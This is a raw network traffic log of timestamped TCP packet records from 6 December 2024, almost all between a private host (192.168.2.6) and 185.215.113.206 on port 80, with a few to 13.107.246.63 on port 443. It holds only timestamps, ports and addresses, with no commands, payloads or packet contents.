Dec 6, 2024 18:45:17.552500010 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.552561045 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.552588940 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.552632093 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.556740999 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.556751966 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.556797981 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.562264919 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.562329054 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.562441111 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.562486887 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.570617914 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.570668936 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.570746899 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.570802927 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.578999043 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.579051018 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.579104900 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.579154015 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.587400913 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.587452888 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.603049040 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:17.603117943 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:17.603205919 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:17.603519917 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:17.603539944 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:17.682068110 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.682126045 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.682132959 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.682188988 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.687073946 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.687088013 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.687120914 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.687143087 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.695921898 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.695974112 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.696067095 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.696119070 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.701570988 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.701586962 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.701632023 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.701646090 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.710553885 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.710607052 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.710685015 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.710741997 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.717930079 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.717982054 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.745836020 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.745847940 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.745893955 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.745914936 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.749061108 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.749109030 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.749735117 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.749788046 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.758009911 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.758023977 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.758061886 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.758080959 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.766386032 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.766391039 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.766444921 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.774348021 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.774395943 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.774485111 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.774523020 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.783159018 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.783169985 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.783233881 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.791465998 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.791476011 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.791517019 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.811577082 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.811748028 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.812306881 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.812361002 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.817301989 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.817313910 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.817359924 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.824554920 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.824563980 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.824620008 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.832570076 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.832626104 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.874061108 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.874145985 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.874233961 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.874279022 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.877522945 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.877573013 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.877593040 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.877669096 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.884428024 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.884485006 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.884783983 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.884857893 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.891367912 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.891437054 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.891550064 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.891602039 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.898299932 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.898356915 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.898432016 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.898480892 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.905239105 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.905280113 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.905288935 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.905320883 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.911885023 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.911930084 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.911938906 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.911976099 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.918148041 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.918212891 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.918229103 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.918287039 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.924184084 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.924227953 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.924243927 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.924288034 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.930278063 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.930346012 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.930407047 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.930454016 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.935957909 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.936006069 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.936193943 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.936240911 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.936263084 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.936301947 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.940068960 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.940115929 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.940754890 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.940802097 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.940819979 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.940881968 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.944619894 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.944674015 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.944720984 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.944771051 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.948307991 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.948364019 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.948388100 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.948436975 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.951980114 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.952037096 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.952080965 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.952119112 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.955729961 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.955777884 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.955811024 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.955851078 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.959378004 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.959429026 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.959455013 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.959494114 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.962893009 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.962943077 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.962960958 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.963010073 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.966473103 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.966517925 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.966586113 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.966629028 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.970279932 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.970338106 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.970367908 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.970411062 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.006124973 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.006200075 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.006236076 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.006278038 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.007205009 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.007324934 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.007352114 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.007375002 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.010917902 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.010930061 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.010976076 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.014657974 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.014712095 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.014777899 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.014817953 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.018066883 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.018124104 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.018147945 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.018192053 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.021732092 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.021776915 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.021796942 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.021836042 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.025196075 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.025254011 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.065823078 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.065877914 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.065924883 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.065965891 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.066684961 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.066754103 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.066772938 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.066823006 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.069505930 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.069571018 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.069700956 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.069751024 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.072309017 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.072361946 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.072406054 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.072604895 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.075180054 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.075236082 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.075337887 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.075387001 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.077969074 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.078022003 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.078042984 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.078089952 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.080666065 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.080718994 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.080786943 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.080832005 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.084057093 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.084110022 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.084173918 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.084224939 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.086035013 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.086086988 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.086199045 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.086245060 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.088623047 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.088675022 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.088696957 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.088737965 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.090976000 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.091031075 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.091054916 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.091129065 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.093384981 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.093430996 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.093481064 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.093528986 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.095752001 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.095804930 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.095825911 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.095870972 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.098022938 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.098066092 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.098088026 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.098129988 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.100308895 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.100366116 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.100392103 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.100424051 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.102606058 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.102623940 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.102664948 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.102689981 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.128062010 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.128123999 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.128257990 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.128317118 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.129194021 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.129244089 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.129332066 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.129384041 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.131491899 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.131536961 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.132436991 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.132481098 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.132523060 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.132564068 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.134700060 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.134757042 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.134922981 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.135078907 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.136899948 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.136961937 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.136982918 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.137032032 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.139084101 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.139132977 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.139276028 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.139332056 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.141233921 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.141284943 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.141339064 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.141391039 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.143326998 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.143378973 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.143491030 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.143539906 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.145431995 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.145488024 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.145558119 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.145603895 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.147433043 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.147484064 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.147547007 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.147594929 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.149463892 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.149509907 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.149667978 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.149714947 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.151457071 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.151501894 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.151555061 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.151598930 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.153451920 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.153501034 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.153565884 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.153605938 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.155472994 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.155520916 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.155586004 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.155627966 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.157516956 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.157561064 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.157618046 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.157663107 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.159526110 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.159573078 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.159656048 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.159703970 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.161530972 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.161590099 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.161607981 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.161649942 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.163496017 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.163558006 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.163614035 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.163662910 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.165539980 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.165620089 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.165638924 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.165678978 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.167483091 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.167547941 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:18.195333004 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:18.195379972 CET	80	49714	185.215.113.206	192.168.2.6
